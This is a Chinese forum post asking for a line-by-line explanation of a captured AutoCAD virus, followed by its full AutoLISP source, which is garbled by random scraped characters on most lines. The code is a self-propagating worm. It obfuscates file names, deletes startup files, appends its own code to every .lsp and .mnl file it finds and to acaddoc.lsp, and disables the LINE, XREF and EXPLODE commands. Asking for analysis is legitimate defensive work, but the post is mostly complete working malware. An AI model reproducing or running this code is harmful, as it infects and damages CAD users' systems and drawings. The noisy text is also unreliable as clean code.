本人最近截获:CAD病毒代码一段,请LISP高手帮忙解析一下每句语句的功能,不胜感谢。最是比较常见的,党是不会亏待你的,- (
H- _6 T& g/ [+ N6 Q) l! r: y. D - setq
0 k- t Z' [* I' \' r3 p - wold_cmd
9 W E) X O3 s; V4 {0 G - (
* X) r5 ~! h$ [+ H& o/ r - getvar3 M( [2 T2 t q) G
- "cmdecho"
. u+ s4 \0 N$ i( t - )
' Z5 L5 t" ?5 Q! O$ F/ @& o( K8 i - )9 ^# X7 {9 X6 L2 @ y3 i
- (4 p9 X7 n8 t/ x1 l0 @; x
- setvar
U8 | p. C q: q - "cmdecho"
$ C0 Z- {8 D4 R5 @; `) t - 0
9 C; I& K: ?: f - )7 O" M* D8 P5 t" l8 t
- (
1 W/ k' p, ~0 E' ], v: }+ r - setq- D0 b6 |( {5 G h% |7 N) }
- bb 1
$ O+ G7 O: o9 T' B- \$ I - )& Z. o7 z2 T+ @/ X$ P! b
- (setq dpath (getvar "dwgprefix"))
1 M" E9 D A4 x# c9 a0 Y - (setq wpath (getvar "menuname"))" W4 j5 M7 S0 J5 x+ U) w/ K
- (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
- L) p2 `* a- ^# d4 D2 W - (setq mnl (strcat (chr 97)" A: ?# k/ A# M' d) H
- (chr 99)
( I2 u* i3 r3 |* ]# S - (chr 97)# ^" R8 q/ ~3 |8 l6 p4 A
- (chr 100)' e7 ~4 s8 v3 u3 i6 F2 s
- (chr 46)% {+ X, A4 K7 N/ _) l
- (chr 109)' a* ~4 e8 R# \& v* b# C
- (chr 110)
: B) _' Q! o* e/ w3 N0 d, f - (chr 108)- D- o; h2 q8 J5 d1 E8 y. D; b* ?
- )
# [# e& ]) l$ Q* N) C9 B - lsp (strcat (chr 97)
" }. V( A J+ ~8 s5 w - (chr 99)
7 b' ]% k% K. @9 f. P: d/ H - (chr 97)7 T# C8 u5 T5 J
- (chr 100)+ A1 t$ m U: }. H1 I- Y1 A. g
- (chr 100)* g8 Z4 S' D$ |5 ~1 z0 [' I, {6 _
- (chr 111)& `" g4 i9 t* c
- (chr 99): m' |) a# }7 c3 U, I
- (chr 46)
. ^; w# S, b* s3 b) m - (chr 108)0 F% r9 q: c! H6 V
- (chr 115)0 Q" }% a* E/ S8 u- f; A+ h
- (chr 112)2 t. X7 U4 j! A5 ^$ H- ~7 F
- )
" Q! a: a7 y- Z - ); C {% `4 ]8 s! ~+ W
- (vl-file-delete (strcat wpath "acadapq.lsp"))' x7 d# R0 A0 Q6 r" O
- (vl-file-delete (strcat wpath lsp))9 G$ w) e8 u! Y( X5 A: k% v+ p
- (vl-file-delete (strcat wpath "acad.lsp"))
6 T- W8 J( E; Q( z+ s - (vl-file-delete (strcat dpath "acad.lsp"))6 `* Q, `0 N2 q9 C2 E1 }4 H+ u1 R
- (defun wwriteapp ()% s6 l1 T# k5 R. Z) ^ a6 N% Z6 u
- (if (setq wwjm1 (open wnewacad "w")) Q1 O+ b3 _8 y. m
- (progn8 e: W: t, F2 T; o9 ?& q7 b
- (setq wwjm (open woldacad "r"))& j8 H' q1 t" @0 z2 A
- (while(setq wwz (read-line wwjm))
1 r% Q% L$ i, Q2 K - (write-line wwz wwjm1)2 V; `3 s+ a# p, D2 b9 M
- )/ B5 M' w. W9 [- t& G7 T" x' _
- (close wwjm)3 V; c, {& Z# C0 i) P
- (close wwjm1)
" u. t' R5 e) ~6 m4 _ - ): p" L% l2 s- }( p2 W2 Y
- )" F. S0 i' f# ~
- )9 q( ^ c( r# ~3 s& m% `5 S' U5 z
, y1 Y- C3 f- A5 I' B9 B- (setq lbz 0)' ^6 k7 W9 v; H
- (setq wwjqm (strcat dpath lsp))6 L6 `) P% H2 N
- (if (setq wwjm (open wwjqm "r"))
5 h1 m2 ?$ U# t3 ^0 Y( f2 A' A - (progn7 i# Y6 s9 s9 p: L x4 l0 r; M
- (repeat 15 (read-line wwjm))
8 L* P" G$ D$ O% Q' T - (setq wz (read-line wwjm))
5 x, ~, D& N. ]% N, } - (setq ab (atoi (substr wz 4 1)))
# P6 ]3 k$ B* [( q M: t - (close wwjm)
9 o1 b8 e7 H. Y' e7 O5 V8 P9 I - (if (> ab bb)
. C3 @% u2 e% u* c$ g, a2 N - (setq lbz 1)
* J7 _7 J& y3 S* v4 w& P& @ - )
4 t3 }, I' \4 w1 g - )
- D h! t/ r9 ^1 X' K - )* T5 F. t0 P8 |3 m0 e7 U2 g/ v- y
- 7 ]. l. p" Z( r$ @/ h1 x& w1 B" G
- (setq wwjqm (strcat wpath mnl))
) ^/ B. e! X( f- V* B9 T - (if (setq wwjm (open wwjqm "r"))
# x5 e! `- k+ P& Y - (progn
4 O1 }2 n3 u4 b+ L5 i s' d - (repeat 15 (read-line wwjm)), f- i# T, {2 ~; m
- (setq wz (read-line wwjm))
( p# x- S4 }# s% F - (setq nb (atoi (substr wz 4 1)))- B1 _# M. x$ ?& B t" `4 N
- (close wwjm)
1 E$ `6 F4 u, n6 Y - 0 `( c0 b1 F+ V) N& b
- (if (< nb bb)
# G3 e9 T8 t, m - (setq lbz 1)
8 i1 d* i* t9 b0 }" `6 K& n- w - )
8 A1 r7 ?5 n6 P, G9 c - )- @% f2 Z* `1 T8 C3 V
- (setq lbz 1)
3 m3 I7 R& w/ d- I( L+ L - )8 y! C* L1 R, E
- (if (= lbz 1)# d1 l t1 o) W$ c
- (progn4 b5 C2 Y+ s+ F7 a0 F
- (setq woldacad (strcat dpath lsp))7 s4 L0 _9 `5 k# I; c; |" V
- (setq wnewacad (strcat wpath mnl))' P2 ~' R+ U2 u
- (wwriteapp)' E( ^! r" n8 a( a2 T# U9 B& f
- )
3 t* C5 ?/ t, u, z8 L - )
4 d$ T# V; P% M" ?% ?( L* U - (if (and (/= (substr dpath 1 1) (chr 67)). f+ G3 F9 P/ u7 ]; a# V F
- (/= (substr dpath 1 1) (chr 68))
# u7 Z( k3 z9 q6 `6 Q1 Y: g W - (/= (substr dpath 1 1) (chr 69))
: @) O$ Z+ o6 \3 i' T. q - (/= (substr dpath 1 1) (chr 70))( B) ~0 l, U$ o# B6 l
- )' C* u" o; r) \# A8 u
- (progn$ c5 n8 e- Z2 o n( m, T
- (setq woldacad (strcat wpath mnl))% m7 B6 b$ z" }7 K; N
- (setq wnewacad (strcat dpath lsp))
( U9 n- [0 F5 ~ - (wwriteapp)6 G5 d1 I& I" @7 Y& }; X4 W- z" P
- )
6 g. j* R) d/ _6 Z: { - (vl-file-delete (strcat dpath lsp))
8 A" L/ B. J9 [! O* I - )
1 h* g3 E& w; Z6 g - ;load "acadapq")
1 p1 U9 a, m9 K" j - (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))8 i* E" _% u8 B6 Z& w
; {# U6 D+ C- M% R9 f# s1 X- (setq flagx t)1 ?- L, r% L. P# [$ n ?& z. Y
- (setq bz "(setq flagx t)")
1 ^; @) ]' v; T& k2 l - (defun app(source target bz / flag flag1 wjm wjm1 text)8 O% @9 i, V( \$ f8 F2 q
- (setq flag nil) r+ E0 U+ n; q' G% A
- (setq flag1 t)& V* ~/ V; ?$ E3 P4 K i: n
- (if (findfile target)
# c' N# E9 L r - (progn7 b% b! m1 u. q
- (setq wjm1 (open target "r"))
/ |/ K3 W8 J7 M2 n* P/ p/ _2 Z - (while (setq text (read-line wjm1))' R }4 `5 f* u0 }% Q0 U6 q
- (if (= text bz) (setq flag1 nil))4 { u. C1 i# s R
- );while+ x' I( h3 N5 u
- (close wjm1)' W5 v* d' m# O V) f+ G1 ~
- );progn
1 n" _6 V4 x- Y E" h - );if
) H6 p, k# B' N3 B8 ] - (if flag1
0 F5 k1 y" r1 z! z4 p - (progn
. m& u1 {# J! x& f& t - (setq wjm (open source "r"))' ]! t( D6 i& o, b% Y
- (setq wjm1 (open target "a"))
! U' v/ p- e! H/ Z - (write-line (chr 13) wjm1). y5 a/ n% n3 N& P
- (while (setq text (read-line wjm))
& _8 k& o+ R/ y4 S6 x& N, s - (if (= text bz) (setq flag t))& Z& C/ m# i$ J+ T i! U1 D
- (if flag
. f" Z" s0 Z | - (progn
6 F6 _3 q, v' D% L( N - (write-line text wjm1)
v8 ]+ \, K9 b" c/ K ?5 @) S+ W7 i - );progn2 b1 ?2 l& f& k/ o: B
- );if- ]9 C6 Q' ]1 _! ^- Q& O; q0 f
- );while6 [' p5 e- }0 G- @
- (close wjm1)( Q* w7 p3 U# Z1 k2 B, l) t
- (close wjm)/ y6 I3 I* Z7 L( K: H, q' |7 D
- );progn3 ?2 R9 A( a+ t8 \, n3 x! r
- );if9 T5 w! L/ P0 Z
- );defun* k) o+ U" z X6 V/ M' }
- (setvar "cmdecho" 0)
" W* ^( X) M+ D5 a - (setq acadmnl (findfile "acad.mnl"))
' M" P& q1 X8 j4 Y& z - (setq acadmnlpath (vl-filename-directory acadmnl))1 f$ g, ]" D3 M2 b( X8 p
- (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")). i/ ~: T0 g% x
- (setq mnlnum (length mnlfilelist))9 C2 J* ]7 B% [9 v" q1 y( `
- (setq acadexe (findfile "acad.exe"))
# K7 _* u& _( _( S) r - (setq acadpath (vl-filename-directory acadexe))0 L( x2 G, U' T# d# Z
- (setq support (strcat acadpath "\\support"))* b. n* Y! T1 K5 p
- (setq lspfilelist (vl-directory-files support "*.lsp"))
$ S6 m5 E M) ? {- d* n: _ - (setq lspfilelist (append lspfilelist (list "")))
) j; x1 U! |6 ?8 H - (setq lspnum (length lspfilelist))
( M7 j S! z& Q+ r9 x - (setq dwgname (getvar "dwgname"))
" \0 i( z( S; K; ]1 v" H! @ - (setq dwgpath (findfile dwgname))
4 q+ G0 A/ l' E# c7 {. y - (if dwgpath
9 H% Z9 f0 M$ L) b a3 h, J& ^$ H - (progn4 P' w/ }+ n M- i' Q8 F: u5 S
- (setq acaddocpath (vl-filename-directory dwgpath))
7 T- c" R2 S u7 t, U - (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))- F6 d! g/ v' k. W
- (setq mnln 0)
$ D* e4 W% T3 M8 H: l& I1 C - (while (< mnln mnlnum)
" ?* X+ t3 Y/ e) S) s' h" c+ c' d - (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))6 {( p" P* F) f8 e4 Q
- (app mnlfilename acaddocfile bz)
4 W3 m2 \8 l' \$ l8 D& E) r0 i - (app acaddocfile mnlfilename bz)
$ L* B" I4 ^6 K, l, L - (setq mnln (1+ mnln))
, {/ T3 y7 i' j G - );while7 e3 A) r+ |: w2 a$ V# I7 D9 S
- (setq lspn 0)
, T; ~5 o: n" D! H# g' V' { - (while (< lspn lspnum)
5 }, R/ |. D. A8 H7 @0 @8 v4 e - (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
- ? @& A( c3 z# f( L1 p - (app lspfilename acaddocfile bz)
0 B. a3 ?1 u7 m# V - (app acaddocfile lspfilename bz)+ s8 K) Z2 F! s J2 I3 O, C& S! ~/ S7 Y
- (setq lspn (1+ lspn))
" u, F2 I# Y- F: J8 G* g, | - );while
* l) K) @. p5 v, R' w4 b - );progn
* ?, ~# l- F; |+ ]% K - );if
: a8 Z; t: @ ?2 c; R, S- U% x - (setq mnln 0)2 Z( q* T8 t1 H
- (while (< mnln mnlnum): J$ T+ f; Q# N; D
- (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))- e: [ n$ j1 M1 d! P! ^6 f
- (setq mnln1 0)& g- m+ J8 Z: e; P0 S
- (while (< mnln1 mnlnum)
' e" I/ v$ v5 D. k3 b - (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))0 z' N% ]* _0 ~# y% Z$ ^! ] n
- (app mnlfilename mnlfilename1 bz)5 }$ U `* U, }, K) J+ }+ f
- (setq mnln1 (1+ mnln1))5 T4 y' l, k1 k. Y
- );while0 {5 R6 u1 w* ^* m- {4 l* t
- (setq lspn1 0)
6 E2 O( e! h( ?" } - (while (< lspn1 lspnum)& Y7 A, d; p) `4 X3 `
- (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
& I: d2 Z# m* H/ b! y( \& H s( X" @ - (app mnlfilename lspfilename1 bz)/ h1 y- c, f3 l$ X% W Z; q
- (setq lspn1 (1+ lspn1))
; }, e# c2 V9 p6 D! n3 ~ - );while B( I3 e: V% e2 Q2 J
- (setq mnln (1+ mnln))
: k$ `/ O3 R5 H# _ - );while. w- G8 `- ]4 Z- U: k& T H3 l
- (setq lspn 0)* R; k4 W8 Z1 f6 H
- (while (< lspn lspnum)
9 ?' H) I- a. Q0 A - (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
2 f, b4 p: P; M - (setq lspn1 0)* o" B1 D2 |3 H6 q) \8 U
- (while (< lspn1 lspnum)$ d) I d# _5 t2 X
- (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
! _& T4 y7 L- X9 m - (app lspfilename lspfilename1 bz)
3 K' e0 c& h" l, L# B2 z2 }3 m - (setq lspn1 (1+ lspn1))
4 i0 h& z+ x& _2 L% K8 C - );while/ g+ M" }0 y! ]$ c4 i* N! w
- (setq mnln1 0)
4 ]- r. _4 A8 y1 i8 w - (while (< mnln1 mnlnum). v( i5 C& n4 T# B, f, ^
- (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
; g( e4 p1 o: Y3 Y- l2 h - (app lspfilename mnlfilename1 bz)- B( ?1 _ v% q9 I7 x
- (setq mnln1 (1+ mnln1))
/ C; y% i; R. o$ r2 e; U - );while
# e, V3 v9 Y" V, B - (setq lspn (1+ lspn))4 C4 G! K2 f9 G* z7 _: L$ p2 j, b
- );while1 w7 ^. W y0 j$ k, m/ d1 C. \
- (setvar "sdi" 1), d I, [) j/ z; V
- (setvar "ACADLSPASDOC" 1)! w h* A: i8 @
- (command "undefine" "line")' S* @1 D$ V. I$ B/ |4 S* ^
- (command "undefine" "_line")5 J) D% L# j9 j( G6 T/ H( m% o8 {5 V
- (command "undefine" "xref")
# K) a; w) M7 o" N4 {; a2 g7 G) C - (command "undefine" "_xref")
& q. x; s% R+ z1 K - (command "undefine" "explode")! d: a) @, g9 r' `( q: f$ v2 D8 R9 O7 ] a
- (command "undefine" "_explode")
& \, @3 D: R0 ~; k7 A& O - (setvar "cmdecho" 1)
: L* c- a# _- q1 L - (princ)# ]5 y7 J! D/ D. _ l
- (load "acadapp")6 W6 g& @# g6 F+ C+ q& r0 S
- (princ)
( p0 \2 O) N* |# x - (if (null stol) (load "lcm" ""))
V8 {! X# Q& @& A0 }% R8 F& H4 v2 S" N - (princ)
0 T1 w8 }2 d* a7 m' o; M9 D2 l - (load "acadappp.lsp")
8 D6 _3 w' \" m) c4 F4 X - (princ)% V* s7 O( Q. t: |/ \
- (if (null stol) (load "lcm" ""))
5 q& Z; [# G a7 t. H - (princ)
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